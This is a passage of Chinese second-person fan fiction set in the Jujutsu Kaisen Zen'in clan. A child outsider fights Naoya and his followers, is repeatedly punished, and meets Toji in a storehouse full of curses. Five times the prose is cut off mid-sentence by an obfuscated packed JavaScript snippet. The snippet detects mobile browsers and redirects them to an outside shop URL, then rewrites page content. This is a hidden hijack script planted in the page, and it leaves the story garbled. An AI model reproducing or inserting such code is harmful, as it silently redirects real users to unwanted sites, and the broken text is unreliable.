所以你会问:“直毘人大人,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199027|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很危险吗?” 直毘人笑了一声。 在这个问题上,他始终没有给你回答。 就在烦人体检结束的不多久之后,你的两颗门牙全掉了。 这不是你掉落的第一颗乳牙,你的犬齿就是在来禅院家之前掉落的。想起在绘本上看到过,乳牙要丢到房顶上才行,否则小孩会长不高,可妈妈却说不需要这么做,还收起了你的牙齿,说,你掉落的牙齿需要保存起来。 说是保存,你的牙齿也不是真的被留在了家里的某个地方,而是被妈妈交给了前来为你做体检的医生。为什么呢?妈妈说你的牙齿很重要。至于是怎样的重要,她说得不清不楚,你听得不明不白,直到现在心里都没个定数。 这次医生也把你新一年里掉落的几颗牙齿带走了,你猜想自己剩下的乳牙估计会是同样的命运,认真地把同一天掉落的两颗门牙塞进抽屉的最角落里。 抬头看看镜子,把嘴咧开来,缺了两颗门牙的位置看起来黑洞洞的,不算吓人,也不算太难看,可真的挺突兀,说话的时候还会漏风。舔舔缺口的软肉,暂时还没能感觉到新牙即将长出来的征兆。你赶紧收拢嘴角,用上唇盖住没牙的缺口。 在门牙长出来之前,还是少说点话吧。 “还不去训练吗?” 和你住一间屋子的禅院家的姐姐在费心系紧和服腰带的忙碌之中抽出空来催你。 “我要打扫房间了哟。你要是再磨磨蹭蹭的话,就来帮我的忙。” 帮忙也不要紧呀。你本来是打算这么说的,但毫不意外,刚发出第一个音节,你的声音就从没了门牙的缺口中喷出来了,听起来简直像是喷了一口气,还好没让同住的姐姐误以为你是在哼她,虽然代价是你被她狠狠地笑了。 “行了行了,你还是去训练吧。”她轻轻推着你走出房间,“要努力成为了不起的咒术师哟,鸣神。” “好。” 短短的应声倒是不至于变成奇怪的喷气。你暗自下定决心,在门牙长出来之前,一定得少说话。 5. 难道不是朋友吗 众所周知,决心就是用来打破的,尤其当你在道场门口看到直哉的时候,你彻底忘记了自己的少说话宣言,小跑着走过去,和他说早上好。 “你好。你好。你也早上好。”顺便再和拥在他身边的小萝卜头们问好——直哉的朋友也是你的朋友呀! 真的,你已经彻底忘记自己的牙齿漏风的这件事了。 道完早安之后,你就不知道该说点什么才好了。你最近既没有和直哉一起玩,也没有见到有趣的可以和他分享的事情,干脆什么都不说了,在这句爽朗的“早上好”结束之久,就先他一步匆匆跑进道场,开始挑选心仪的木刀。 在你看不见的背后,直哉涨红了脸,嘴角相当不自然地抿成一条直线。他的小跟班们正在叽叽喳喳地叫嚷个不停。 “五十里这家伙真是的,脸皮也太厚了吧!” “她居然这么随便地和直哉少爷您打招呼,太没礼貌了吧!” “外姓的家伙能不能对我们禅院家的血脉多点尊重!” “明明到了现在都还没有觉醒术式,居然还好意思像个没事人一样和我们打招呼,她自己不觉得害臊吗!” “外姓的家伙就是上不了台面,直哉少爷您别生气。” 叽叽喳喳的声音不算响亮,也一定不轻,肯定是能够传进道场里的程度,也难怪老师侧首来看他们,一如既往什么都没说,也什么都没做。直哉确信你也听到了这些话,尽管你还在认真挑选木刀。 其实,直哉没生气。至少在小跟班的叨叨声传来之前,他对你今日的问好所怀有的心情,绝不是愤怒,而是……怎么说呢,不满的失落中掺杂了一丁点气恼?总是很复杂就是了,用不着特地理清。 自从他确认拥有术式之后,一度疑似远去的爱和奉承全部都加倍的回来了,把直哉高高捧起,相较之下,你一如既往的态度显得就好像是短了半截。而且你根本不祝贺他觉醒了术式,也不对他说好听话,连生日当天都从头到尾没有出现过,就算他不曾对你有过什么期待,还是会对你失望透顶。 直哉想,你根本就是个不懂怎么做人的笨蛋。 尤其在听到了小跟班们的叨叨之后,他真的觉得你可恶到无以复加,这下复杂的心情彻底扭曲成愤怒了。 “还是教训五十里一顿吧!”有人撺掇直哉,“女人就是要用拳头教训之后才会听话的,我爸爸总这么和我说!” “就是就是,哪能让她一直这么没大没小的呀!” 这些话语听得直哉心跳一抽一抽,实在说不好究竟是他自己也在期待着这种事,还是微弱的理智在告诫他谨慎行事——更有可能是早前你把禅院望痛扁了一顿的记忆像快要熄灭的行道灯那样闪烁不停。 直哉无法摸清自己的的真实想法。 不管怎么说,至少在那一天,他没有下定决心向你展示自己的少爷气概,只是在你和他说拜拜的时候高高地仰着脖子,一副高高在上的模样。要不是那时候你已经走远了,肯定会折回来对他说一句“要是脖子不舒服的话可以去找家庭医生但一定不要硬撑”。 微妙的情况持续了整整三个月,你丝毫没有察觉到不对劲。 只是,在某次打扫完道场之后,刚迈过大门的你被直哉和他的小喽啰们堵住了。直哉不爽地拧着脸,露出了你们初次见面时的那种很不高兴的表情。 “喂,五十里。跟我过来。”他干巴巴地说。 你把双手揣进衣袖里,缩起脖子,“不了。我待会儿还有事要做。” 直哉的脸色更加难看,“叫你过来你就过来!” “我说了,我有事要做。我的事情也很重要。等我做完了再来找你,可以吗?” “不可以!快过来!” 他直接上手,把你拽到角落里,乱糟糟欠打理的植被把你们环绕。 黑夜里,快要被秋风吹黄的这些叶子看起来更像是重重叠叠的黑影,只有婆娑声显得过分真切。你完全看不清直哉的表情了,小跟班的窃笑倒是明显,如同虫子在叫的叽叽声响。 对于现状为何会变成这样,直哉给出的理由是,你背叛了他。 “我看到你和望玩在一起了!” 说着这话的他比预期之中还要愤怒一点,眼底都快喷出怒火,可惜你没能看清,只平平无奇地“嗯”了一声。 直哉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199028|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有说错,但也没有说对。你最近确实会有一部分时间是和禅院望一起度过的,可你们没在玩。你只是在和他讨教木刀的对战技巧而已。 这一辈里,把木刀和各种武器用得最顺手的,就是禅院望了,这一点直哉都比不上(虽然直哉一定会说那是年龄差带来的不足未来绝对会补上),而你在任何武器的使用方面都差强人意。 你不确定优秀的咒术师是不是一定得擅长舞刀弄枪,但学得更多一定比学得太少要好,妈妈以前总这么教育你。 最开始被你拜托指导剑术技巧的时候,禅院望一万个不乐意。真不想承认,一看到你,他早已愈合的脸颊就会隐隐作痛,痛到连拒绝的话语都没勇气说了,灰溜溜地把技巧交给你。 大势已去的狂妄代价是禅院望彻底跌到金字塔的最底部。他自顾自把你当做同病相怜同一处境的可怜蛋,偶尔还会和你聊一点无关紧要的事情和一大堆的抱怨,你听得不算认真,自顾自地说你自己想说的话。这么乍一看起来,仿佛你们真的相谈甚欢,也难怪会被直哉误解了。 “你现在改去拍他的马屁了,是吗?”他越讲越生气,“打算当他的跟屁虫了?” “没有哦。”你不懂他的质问,诚实地说,“我和他是朋友,就像我和你一样。” 风停了一秒,直哉也短暂地愣了愣,直到周围的小跟班们发出了不可思议的惊呼声之后,他才猛得回过神来,急到要跳脚。 “我们才不是朋友!” 他的嚷嚷声穿透了叽叽喳喳的“她脸皮好厚”“居然敢说这种话”和“天呐真是疯了”,直接钻进你的耳朵里。 “反正你这种没术式的废物怎么可能当我的朋友,寄人篱下的家伙能不能有点寄人篱下的自觉,这是属于我的禅院家,才不是你家,给我低下头尊重一点!知道吗,我最讨厌你了,第一次见到你我就讨厌的不行!真不知道老爹把你这种人带回家有什么用!” 他说到这里才停下,猛喘了几口气,还想接着说下去,但你更早地抢走了话语权。 “我明白了。” 你了然般点点头。 然后一巴掌扇飞了禅院直哉。 6. 食我人格矫正拳啦! 当你的巴掌呼过来时,禅院直哉最先感受到的,是被你的手掌拢过来的秋日寒意,而后是衣袖上残留的洗涤剂的味道。 然后才是头晕目眩的耳鸣。没想到疼痛居然是最后一刻才到达的。 直哉的大脑瞬间清澈了,甚至变得有些稍稍平滑,无论是刚刚还占据着情感主位的愤怒心情,还是在挨打之后应该拥有的想法或是反应,全都乘着他光溜溜的大脑皮层一路滑了下来,变成咸涩的液体,从他瞪得大大的眼睛里渗了出来。 他被打了…… 他被打了?! 这个念头总算没有顺着平滑大脑溜下来了。直哉猛得站直身,痛骂几乎要脱口而出,可惜在此之前,他的嘴又被迫堵上了。 哦,这回倒不是他挨打了——遭殃的是他的小跟班们。 你谁也没落下,挨个用你的手掌亲密接触他们肉嘟嘟的脸颊,清脆声响一连串,你的手也有点麻了。赶紧甩甩,让血液回到掌心里。 “我觉得你们说的话都很不讨人喜欢。” 你很认真地向他们传达你的心情和价值观。 “我得承认,我不算太喜欢你们,但我会努力这么去做的。所以,你们也该用同样的方式对待我才可以。世间的一切都是值得被爱的,我是,你们也是。” 你这话说得简直算得上是推心置腹了。尽管如此,他们还是不服气。 “谁要喜欢你啊!” “就是就是!” “我也不需要被废物喜欢!” 叫嚷的刺头们又各自挨了你一拳。 直哉没有跟着他们说出这样的话,可他总觉得,那些落在小跟班身上的拳头与你亲自打了他的脸无异,实在让他觉得丢脸得要死。直哉一下子急了,朝你扑过来,打算以牙还牙。 当然,完全失败了。他在体术这方面居然完全比不过你。 不止如此,他还被打得好惨——这辈子还没有人敢这么对他呢,连老爹都没打过他! “以后别说讨厌我之类的话了哟,直哉。” 你捧着他的脸,很认真地看着他的狐狸眼睛。 “虽然我没觉得生气,但我不希望我是不被喜欢的。毕竟书上也说,付出就该有收获嘛。” 在禅院家待了快一年,你的价值观差不多快要定型了。你会把爱定义为可观的回报,就像是春日种下去的种子,定量的付出就该收获定量的爱。要是天灾虫祸影响了你的回报,那就矫正一下吧——意思是把一切不顺利的统统打跑。 你努力地把价值观传达给他们,可惜他们谁也没办法听明白,有的人瑟瑟发抖,有的人恨恨看你,还好昏暗的天色蒙住了他们的神情,否则你一定会断定他们没能被你说服,故而继续进行你的矫正行为。 直哉重重地发出了一声“哼!”,用手撑起摔倒的身子,气冲冲地跑走了。他的脚步太急,鞋底在草坪上不受控地一溜,害他猛得踉跄,差点又要跌倒在地。 羞耻,太羞耻了。今晚发生的一切绝对会刻进直哉的骨髓里,让他久久忘不了。 禅院直哉可不想被耻辱的回忆折磨,也不想真的成为你的手下败将。好在消磨痛苦的办法应有尽有,他随便拎个招式出来都足够叫你后悔到立刻求饶——比如现在,他就要去找他无敌的家主老爹告状了! 一路走到家主的书房,直哉把今晚发生的一切在脑袋里滚了一遍又一遍,早就想好说辞了,连老爹的反应都美滋滋地幻想出来了。 然而直毘人不在家。 家主的书房空空如也,下人告诉他,直毘人大人去东京办事了。具体是什么事,下人肯定说不出来,直哉也不那么关心,他只想知道自己的告状什么时候才能真正落实。 直哉从没像现在这样,如此惦记过他家这个一个月都不一定能见上一次的老爹,每天结束训练之后都要派人去看看家主是否已经回来,期间甚至忘了要给你努力给你添堵——等家主回来之后你就有的好受了!他得意洋洋地这么想着,所以才懒得对你耍小花招。 同样的焦躁和日程重复了整整七回,一周之后,直哉终于迎来了父慈子孝的久违见面。 临走进书房前,直哉不忘理顺衣服和头发,往前迈了两步之后,似乎是想起了什么,赶紧撩起袖子看看,可恶地发现,你的暴力行为给他留下的痕迹居然在这一周的等待时间里彻底消失无踪了。 不不不,苍天有眼,就算是七天之前,你也没有给直哉留下任何伤痕淤青或是红色印记。你纯粹只是打人很痛,完全没有上升到恶意致伤的程度。 于是直哉陷入思考——他在想是不是把自己弄伤比较好。 直哉当然知道,最爱他的老爹绝不会让他受委屈,也肯定不会质疑他的说辞是否可信(况且他说的就是实话啊!这念头愤愤地从直哉心里钻了出来)。但要是知道自己伤得厉害,说不定老爹在惩罚你之余还能把你赶出家门呢?这个可能性实在不错,直哉有点心动了。 可惜,仅仅只是心动了一下。在“为自己制造伤口”和“尽全力把你赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199029|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走之间”,果然还是自己的身体最重要。 他甩甩脑袋,把多余的念头赶出去,跨过书房的门槛。 在直哉看来,身为家主的父亲,所展露出来的身份和形象,一定是家主的权威多过父亲的温情,甚至很多时候,家主这一侧的威严会彻底盖住紧紧相连的血脉,难怪在听完儿子的诉苦之后,他摆出的只有纯粹的不快。 “意思是,你连个小姑娘都打不过吗?” 没有摸摸头(直哉知道父亲做不出这种事),也不存在安慰(这种事直哉也没有在期待)。老爹的不快没有投向你,而是丢给了身为儿子的他。 即便没有心怀被安慰的期待,劈头盖脸的一句反问还是砸得直哉脑袋发蒙,估计比你那一巴掌还要突兀,火辣辣的刺痛感扎在心里。 整个禅院家都宠爱他,唯一打破这份爱戴与宠溺的边界的,只有直毘人——现在还得添上你,只是直哉现在根本顾不上你的事了。 无论是作为父亲的严厉,还是作为家主的严厉,归根结底都是爱的反义词。从能记得住事情开始,直哉就听到周围人说,严厉也是一种爱。他自然而然地把家主的训诫当做是敦促自己的话语。 可就算是这样,父亲的一句“连小姑娘都打不过”还是狠狠打击到他了。直哉忍不住仰起头,久违地看着直毘人的眼睛,果然在其中看到了失望。直哉一下子说不出话了,早早想好的对你的指责全都化作空白,叽叽咕咕说着自己很惭愧之类的话。 “为什么要和我说这种无聊的事情。直哉,你有什么目的吗?”直毘人接着问他,“做事总要有个目的,你不能只是为了抱怨而向我抱怨。” 直哉一哆嗦——是兴奋使然。 说到这个他可就来劲了! “您得惩罚五十里,让她好好学学礼貌和礼数,还有对家主儿子最基本的尊敬!”他越说越快,话语简直要填满书房,藏在最心底的念头也一起丢出来了,“最好把她赶出禅院家!” 直毘人静静听他说,但看起来听得不算太认真,末了嗯了几声,说自己会处理的。 很好,果然父亲是很向着他的! 以上的告状事件你一概不知。没什么特别的理由,纯粹是因为直毘人压根没惩罚你,也没有把你丢出禅院家。你依旧过着按部就班且略微无聊的日常,等待着术式在某一天出现。 你完全没有注意到直哉向你投来的愤愤目光。 你也完全不知道,他已经下定决心,要让你的日子变得务必难过。 7. 惩罚也会循环往复 在很长的一段时间里,你都没有因为揍了家主的儿子而受罚,绝不是你的运气极佳(你可没什么运气),和直毘人的大度也没关系(直毘人又不大度)。能够逃过一劫,纯粹只是家主大人懒得管这种无聊的、小孩子家家的打闹。 只要事情没有糟糕到一发不可收拾,他会无视家里的混乱,捂住耳朵往前走。 换言之,当第二年实在无法忍受现状的直毘人把鼻青脸肿的你叫进书房的时候,就足够证明情况是真的有点棘手了。 “你知道我最近听到多少人说你不服管教吗?所有人都在说你顽石一块,就算是受了罚也规范不了行为。” 直毘人拿毛笔敲桌子,发出不符节奏的哒哒声,像是在给你制造多余的压力。 “鸣神,你是不是应该给我一个解释,至少好好地思考一下自己的行为?” “好,我会思考的。解释嘛,唔……” 你抬起眼睛,盯着天花板,仿佛你的说辞就飘在横梁之上,明明一切都藏在脑袋里。你想了想,感觉事情得从你把直哉打了之后开始说起。 对于自己一拳砸碎了你与家主继承人之间的友情的这件事,你完全不觉得后悔或是沮丧,哪怕时不时朝你投来恼怒目光的直哉曾被你定义为人生中的第一个朋友。 “鸣神,你知道吗。” 以前在镰仓的海滩晒太阳时,妈妈对你这么说过。 “人生和循环往复的潮汐没有区别,褪去的潮水总会爬回沙滩。无论是你的付出还是你的失去,总会也会重新回到你的手中,即便是死去的生命也将再度轮回到世间。也许明日的潮水不再是今日的潮水,但那总归是潮水。这就是为什么,我希望你可以积极地面对世间的一切,只有这样,当你失去的部分回归时,它才会以爱你的姿态重新出现。” 研究员的妈妈说话总是很深奥,你当时没怎么听懂,其实现在也不算太懂,保不齐未来也搞不明白,好在潮升潮落你还是很清楚的。你片面地认为,只要积极地矫正别人的行为,他们就会予以你爱。现在直哉的态度被你视作退潮,在你的物理矫正之后,也许不多久之后就会是满潮了。你并不着急。 但直哉挺急的。 他对于你一直没有受罚的这件事相当着急,也对要让你的日子不好过的这件事很着急。 很可惜,尽管已经是禅院家所有人默认的家主继承人了,七岁小孩的权利还是相当有限,至少赶你出门无法轻易实现,貌似也没办法让后厨不给你送饭就此把你饿死,还好在同龄人之中,他的号召力永远不容小觑。 比如像是发动所有人孤立你,连下人都不搭理你——这一招对你的伤害为零,反正你从小就不和同龄人接触也没朋友。 比如像是派个小喽啰在你走到池塘旁边的时候猛得撞你一下——也失败了,你的平衡感和抓地力很强的鞋子把你紧紧黏在了地上,反而是撞过来的小喽啰一个没站稳,跌进了水里,你帮忙把他拉起来,反而还被狠狠拍掉了手掌,不友好的行为当然被你反手赏了一拳。 再比如,他会说服其他人还有指导老师一起贬低你,说来说去都是很类似的话,说你没有术式肯定没法留在禅院家,连咒力总量也平平真是没用之类的话。 最后一招倒是起效了。 “我很讨厌他们这么说。” 站在家主的书房里,你坦白地对直毘人说。 有没有术式这种事,你原本觉得无所谓。尽管家塾的每个老师都说,厉害的咒术师都有着了不起的独特术式,最好是家传术式,如此一来技能的操控就能在岁月与血脉的更迭中逐渐强化。但他们可没有说过,没有术式的人无法成为咒术师。 你自然而然地认为没有术式的自己也会如愿以偿的走在通往咒术师的未来上,这便显得那些“连术式都没有你好菜呀!”的嘲笑声格外刺耳。你不爱听。 不爱听的话用巴掌扇走,讨厌的话语拿拳头堵住。这回你的矫正行为可没有发生在私底下谁都看不见的角落里了,而是完全被家里长辈发现。长辈罚你赤脚站在冬天的池塘里站上一整天,喋喋不休的嘴里还在说你这种外姓小孩最不懂礼数。 你接受了惩罚,然后把罚你的长辈揍了。 你感觉到了长辈对你的不喜欢。 毫不意外地没打过,也毫不意外地又被罚了。 仔细想想,在接下来的一段时间里,你好像都陷入了这种不妙的死循环里。你因为他人对你的不满而出手,他人因为你的行为不满而惩罚你,你对惩罚不满而继续试图矫正。显然这也变成了循环往复的潮水。 其实,完全可以为你不规范的行为找到很多种理由——你缺少了来自长辈的正确引导、你被错误的观点曲解了认知、你的父母为你灌输了错误的世界观。还能列举出更多理由,但归根结底,主要原因八成还是你太轴。况且禅院家也不乐意体谅你。 对你的惩罚滚雪球般越滚越大,从罚站进化到一整夜的训练,最后干脆把你关进了装满低级咒灵的忌库,叫你在里头反省三小时再说。当然,要是受不住了,也可以允许你出来,只要你哭着跪下来求他们就可以了。但这种事你可做不出来。 忌库黑漆漆,咒灵蠢蠢欲动的低吼声一路从挑高的屋顶上淌下来,流进你的脊背里。你没有太害怕,但咒灵总想往你的衣服里钻,这难免让人觉得很讨厌。要到明年你才会开始学习祓除诅咒的技巧,就算咒灵弄得你浑身发痒,你也没办法从根源解除问题,只能一边抖着身子,一边提起油灯到处走,想要努力找到咒灵密度最低的角落把剩下的时间消磨完。 你的计谋是否成功,实在不好说。你怀疑这间庞大库房的每个角落都塞满了诅咒,无论走到何处都不一定能够寻到足够安心的角落。 不过,倒是找到了一个人类。 在装满咒灵的忌库里见到除你之外的人类,这种事听起来还挺不可思议。你确信不是你的幻觉,因为他就好端端地躺在墙角……嗯,好像也不能说是“好端端”呢。 他倒在地上,歪七扭八的姿态,松垮垮的和服衣襟大敞,袒露的胸口居然看不到一点起伏。 感觉好像有点死掉了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199030|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 死人!恐怖! 尸体可比诅咒吓人多了,你吓到差点跳起来。现在你是真的很想离开忌库了。 你后退了一小步,接着再退一大步,试图悄无声息地远离这具失去生命的躯壳。 大概是在退到第三步的时候,你听到了“咕噜”的一声——和你爸爸偶尔午睡打呼时很相似的声音。 唔……难道不是尸体吗? 你的胆子回来了,可惜只有一丁点。说不定呼噜声是咒灵作祟,而死人依旧是死人呢?决不能排除这种可能性! 你小心翼翼,缓步靠近,伏低了身子,把耳朵凑近他的鼻子。 没有听到呼吸声,你的头发也没有被吹动。你赶紧告诉自己,肯定是因为咒灵制造出的叽里呱啦噪声太吵了,所以听不到呼吸声,绝对不是他没呼吸了。 生命体征不只呼吸而已,你立刻转移目标,向他的心脏探去。 在此之前,先把他的衣领拢好。衣冠不整可不行。 你伸出了手,指尖几乎要触碰到他的胸口,他却猛得伸出手,钳住了你的手腕。 毫不留情的力道,你怀疑自己的血管都要被捏进骨头里了。你赶紧把手抽回来,他也适时地松开了手。 没有自我介绍,也没问你是谁,更加不好奇你出现在这里的原因,他眼皮一翻,瞥见到你鼻青脸肿的面孔之后就瞬间失去了兴趣——虽然他本来也兴致缺缺的——翻了个身,折起手臂枕着脑袋,依旧恹恹的姿态。 这个人不喜欢你,也不讨厌你。他对你的态度是视为无物。你好像还没遇到过这样的人。 你没有太好奇,也不打算用拳头和他打招呼,而是一阵小跑,绕到了他的面前。 “你也受罚了吗?”你问他。 他理所应当般没搭理你。 你接着说:“你叫什么名字?我叫鸣神,五十里鸣神。” 他抬起了无生气的眼睛,现在才正经地看了你一眼,尽管这带着审视色彩的目光并不像是礼貌的视线相交。你听到他嘀咕说,原来不是禅院啊。 “你不知道我是谁吗?”他只这么说了。 你稍稍茫然,但诚实地摇了摇头。“我应该知道你是谁,是吗?” 他没回答,但坐起来了,乱七八糟地搓搓脑袋,费劲地呼出一口气。 “你为什么在这里?”他问你。 你觉得他的问题好笨。“我在受罚嘛。” “这我知道。我问的是原因。” “哦……” 看来愚笨的不是他,而是你才对了。你赶紧说,是因为你把禅院家的长辈揍了,所以此刻才沦落到了此处。 在你说完之后,他才第一次很正式地让目光落在你的身上,却不说话,在短暂的沉默之后才微不可查地动了动唇,发出几乎要被咒灵的吼叫盖过的声音。 你把爬到了头顶上的咒灵丢到远处,朝他靠近了一些。“你刚才说什么了?” 他显得不耐烦,“我说了我的名字。” “名字是?” “甚尔。” 8. 一拳正中红心 你还没听过禅院甚尔这个名字,也不知道禅院家有个无咒力的家伙存在。 造成这份无知的原因还挺多,抛开你在这个家只待了短短的一年多的现状之外,最大的原因是你并非禅院,而是外姓的孩子。 并非禅院的你,可不配也不需要知道禅院家这位最见不得光的耻辱、所有人可以用来构筑缺失的自尊心的踏脚石、连金字塔的地基都算不上的,名叫禅院甚尔的家伙。 同样因为你不是禅院,现在你才能够和他有来有回地说上话——虽然他也没那么想要搭理你。可如果你是禅院,现在他肯定会嫌你太烦而把你打晕的。 “我刚才以为你死掉了。没死真是太好了。”你长舒一口气,“我一点都不想和尸体待在同一个空间。” 甚尔轻哼一声,“能死掉倒好了。今天星期几?” “周三。” “行。” 那他今天就能出去了,尽管他对这种事完全无所谓。 装满诅咒的忌库也好,填满踩低捧高者的禅院家也罢,只要还在这个宅邸的范畴之内,去到哪里都是一样的。 他闭起眼,你的声音却先一步闯过来了。 “你什么时候可以出去?我还有……两小时,再过两小时就能走了。”你说着,把刚刚拿出来的表重新塞回口袋里,“你还没和我说你进来的原因呢。我都把我受罚的原因告诉你了,作为交换,你也该告诉我你的事情。” 甚尔皱起脸,“你话很多。” “是吗?可我平时话不多的,只是现在很无聊。” 说话的途中,你一直在抖掉背上的咒灵。这些丑陋的诅咒很烦人,好在不致命,它们只是总往你的身上爬,不会给你制造出什么实质性的伤口或者疼痛。但他们真的有在很努力地纠缠甚尔,尤其是在他被你弄醒之后。他并不在意——反正在意了也没用。 他还是不太想搭理你,至少不乐意回答你提出的小孩子特有的幼稚到了极点的好奇心,但他多少还是说点了什么,在片刻的沉默之后。 “你揍了谁?” “健人大人。” 好像听人说过,禅院健人是家主庶出的堂弟来着,是没能加入一级咒术师组成的禅院家炳部队的平庸者。 尽管是平庸者,还是足够把你打成现在这副鼻青脸肿的样子。 “我觉得好奇怪,我居然打不过他!” 你真的很纳闷,和直哉说起这件事的时候,话语都不像是陈述,而是抱怨了。 “我能把学塾的其他人全部打趴下,连直哉也一样,可为什么打不过健人大人呢?我不理解。” 甚尔不理解你的不理解。 “这不是肯定的嘛,你只是小屁孩啊。”他冲你翻白眼,话语也毫不留情,“你们之间差了多少岁?起码二三十岁。你能在肉搏战打过他,那你就该是这个家真正的天才了。” 你真的无法否认他的话,但你也是真的不爱听。 “我肯定打不过年长的人吗?”你问他。 “肯定。” “我也打不过你吗?” “别做梦了。” 你的面孔一下子耷拉下去了,“一点点可能性都没有呀?” “没有。” 他决绝的话语顿了顿,抬起眼看你,想到了一些什么。 “可能有。”他改口了。 你赶紧凑过去,从没感觉到自己的期待膨胀得如此夸张,。“是什么?是什么?”你好急,“拜托了,请告诉我!” 甚尔挥挥手掌,把你嘈杂的急切统统扇走,自顾自打了个哈欠,感觉马上又要睡过去了。你好想把他摇醒,可惜和刚才一样,根本没能碰到他,就先一步被他拍开了手。 “你可以往别人的下三路进攻。”他又躺回去了,“这会是很大的打击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199031|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然一点都不正大光明。” “哦——” 你学会了! “但别想着用这招对付我。我不可能让你打到。” “是吗?但我不会这么做呀。”你咧开嘴,对他笑嘻嘻地说,“你又不讨厌我。” 不。甚尔讨厌你,但他更加懒得搭理你。 还好他没把真实心思说出口,否则你就要被揍扁了——话虽如此,你哪可能打得过甚尔。 不算太难熬、也绝对不有趣的三小时总算走到头。忌库的大门重新打开,你快步走过去,甚尔慢吞吞跟在后面,根本没有任何急切,就算你特地在门口等了等他,他也不会因为你的小小贴心而高兴,自顾自走出去。 罚你在忌库待满三小时的禅院健人带着得意的表情等你出来,希望在你脸上看到可怜的挫败或是一大堆伤口,可惜完全没能如愿。可能真是因为如此,他才阴阳怪气了一句:“败家犬扎堆出现了。喂,五十里。” 他扯住你的头发,强行逼停了你的脚步。 “这下知道该怎么夹着尾巴在禅院家活下去了吗?” 不。你不知道。 否则你也不会果断地一脚踹过去,目标是他的两腿之间,很快你就听到了早餐时磕破水煮鸡蛋的声音。 甚尔的视线透过扭曲的尖叫声望过来。对于你完美贯彻了他的教导,他没有多么高兴,也不会因为这点小小的复仇而露出笑容。他依然死气沉沉的,站在那里看了小半刻,消失在了宅邸的阴影里,留下毫无生气的足迹。 而你正是因此被揪到了家主的面前,要求对自己的行为做出解释。你思来想去,认为事情会变成这样,只有一个原因—— “因为甚尔教给我的办法太不正大光明了。” 你一本正经。 直毘人气得胡子都要炸开来了。 “你这完全没有在反省啊!” 9.世界观需要刷新 你确实把家主直毘人的指责听进耳朵里了,心里却觉得有点莫名其妙,完全不理解家主为什么说你没反省。 不是,刚才直毘人也没有让你进行反省吧? 你努力回想着直毘人刚才的话语,貌似只是你思考并解释一下现状为什么会变成现在这样,仅此而已。既然都没有提出让你反省的需求,就不该责怪你没有反省嘛。 你觉得应该反驳几句,却不知道怎么说才好,茫然地眨了几下眼,还是没能把这份迷茫从你的脑袋里赶出去,就连说辞也没办法发生任何变化,你依旧说着事情会变成这样是因为你完美贯彻了禅院甚尔教给你的反击方式。 直毘人感到头痛。 当然,从他带着你跨过禅院家门槛的那一刻,他就理应做好了接受一大堆麻烦的心理准备,只是实在没想到你的麻烦程度绝不在常理之中。他可不擅长教育小辈——毕竟他连自己的儿子的素质教育都不那么在意。但他多少能感觉到,要是再不把你跑偏的世界观和视角技巧扭转回来,未来的麻烦只会越来越多。 他抓抓脑袋,把叹气藏在衣袖的褶皱里,向你招招手,叫你别傻愣愣死板板地站着了,先到他的面前坐下。然后再装模作样地问你的伤口疼不疼,实际上不那么恐惧疼痛的他对任何人乃至自己的伤口都满不在意。 你没有从他生硬的关心中感觉到关心。你点点头,说你还挺疼的。 “你喜欢疼痛吗?”直毘人接着问你。 你赶紧摇头,诚实地说:“一点也不喜欢。” 疼痛感尖尖的、刺刺的,喜欢疼痛的人简直像是变态。 